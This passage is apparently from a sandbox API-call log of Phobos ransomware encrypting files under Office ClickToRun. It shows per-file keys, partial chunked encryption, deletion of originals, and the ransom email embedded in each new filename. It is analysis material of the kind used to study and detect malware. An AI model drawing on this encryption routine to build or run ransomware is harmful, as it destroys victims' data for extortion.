(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.308] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=473760) returned 1 [0166.308] CloseHandle (hObject=0x2ec) returned 1 [0166.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0166.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.308] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.309] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=210648) returned 1 [0166.309] CloseHandle (hObject=0x2ec) returned 1 [0166.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0166.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.309] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.310] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1402584) returned 1 [0166.310] CloseHandle (hObject=0x2ec) returned 1 [0166.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0166.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.310] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.311] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1761448) returned 1 [0166.311] CloseHandle (hObject=0x2ec) returned 1 [0166.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0166.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0166.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.314] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0166.314] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0166.314] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x30c1058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0166.432] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0166.432] ReadFile (in: hFile=0x2ec, lpBuffer=0x3101058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3101058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0166.448] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0166.448] ReadFile (in: hFile=0x2ec, lpBuffer=0x3141058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3141058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0166.486] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f970, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9dc | out: phKey=0x2d1f9dc*=0x1d1610) returned 1 [0166.486] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.487] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0070) returned 1 [0166.488] CryptDestroyKey (hKey=0x1d1610) returned 1 [0166.488] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b8 | out: lpNewFilePointer=0x0) returned 1 [0166.488] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x2d1f9c8, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9c8*=0xc0122, lpOverlapped=0x0) returned 1 [0166.512] SetEndOfFile (hFile=0x2ec) returned 1 [0166.526] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.526] WriteFile (in: hFile=0x2ec, lpBuffer=0x318115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318115a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.528] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.528] WriteFile (in: hFile=0x2ec, lpBuffer=0x318115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318115a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.530] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.530] WriteFile (in: hFile=0x2ec, lpBuffer=0x318115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318115a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.532] CloseHandle (hObject=0x2ec) returned 1 [0166.532] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.533] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=263896) returned 1 [0166.533] CloseHandle (hObject=0x2ec) returned 1 [0166.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0166.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.534] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.534] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.535] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1510) returned 1 [0166.535] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.535] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x406d8, lpOverlapped=0x0) returned 1 [0166.670] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x406e0, dwBufLen=0x406e0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x406e0) returned 1 [0166.670] WriteFile (in: hFile=0x2e8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x406e0, lpOverlapped=0x0) returned 1 [0166.676] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1b90) returned 1 [0166.676] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.676] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0166.676] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0166.676] WriteFile (in: hFile=0x2e8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0166.676] CryptDestroyKey (hKey=0x1d1510) returned 1 [0166.676] CloseHandle (hObject=0x2ec) returned 1 [0166.676] CloseHandle (hObject=0x2e8) returned 1 [0166.676] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0166.681] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.681] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=332968) returned 1 [0166.681] CloseHandle (hObject=0x2e8) returned 1 [0166.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0166.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.682] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.682] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.683] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d14d0) returned 1 [0166.683] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.683] ReadFile (in: hFile=0x2e8, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x514a8, lpOverlapped=0x0) returned 1 [0166.756] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x514b0, dwBufLen=0x514b0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x514b0) returned 1 [0166.757] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x514b0, lpOverlapped=0x0) returned 1 [0166.763] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d18d0) returned 1 [0166.763] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.763] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0166.763] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0166.763] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0166.763] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0166.763] CloseHandle (hObject=0x2e8) returned 1 [0166.763] CloseHandle (hObject=0x2ec) returned 1 [0166.764] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0166.768] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.769] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=102) returned 1 [0166.769] CloseHandle (hObject=0x2ec) returned 1 [0166.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0166.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.770] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.770] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.770] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d17d0) returned 1 [0166.771] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.771] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x66, lpOverlapped=0x0) returned 1 [0166.815] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0166.815] WriteFile (in: hFile=0x2e8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x70, lpOverlapped=0x0) returned 1 [0166.816] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1850) returned 1 [0166.816] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.816] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0166.816] CryptDestroyKey (hKey=0x1d1850) returned 1 [0166.816] WriteFile (in: hFile=0x2e8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0166.817] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0166.817] CloseHandle (hObject=0x2ec) returned 1 [0166.817] CloseHandle (hObject=0x2e8) returned 1 [0166.817] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0166.819] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.819] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=102) returned 1 [0166.819] CloseHandle (hObject=0x2e8) returned 1 [0166.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0166.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.820] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, 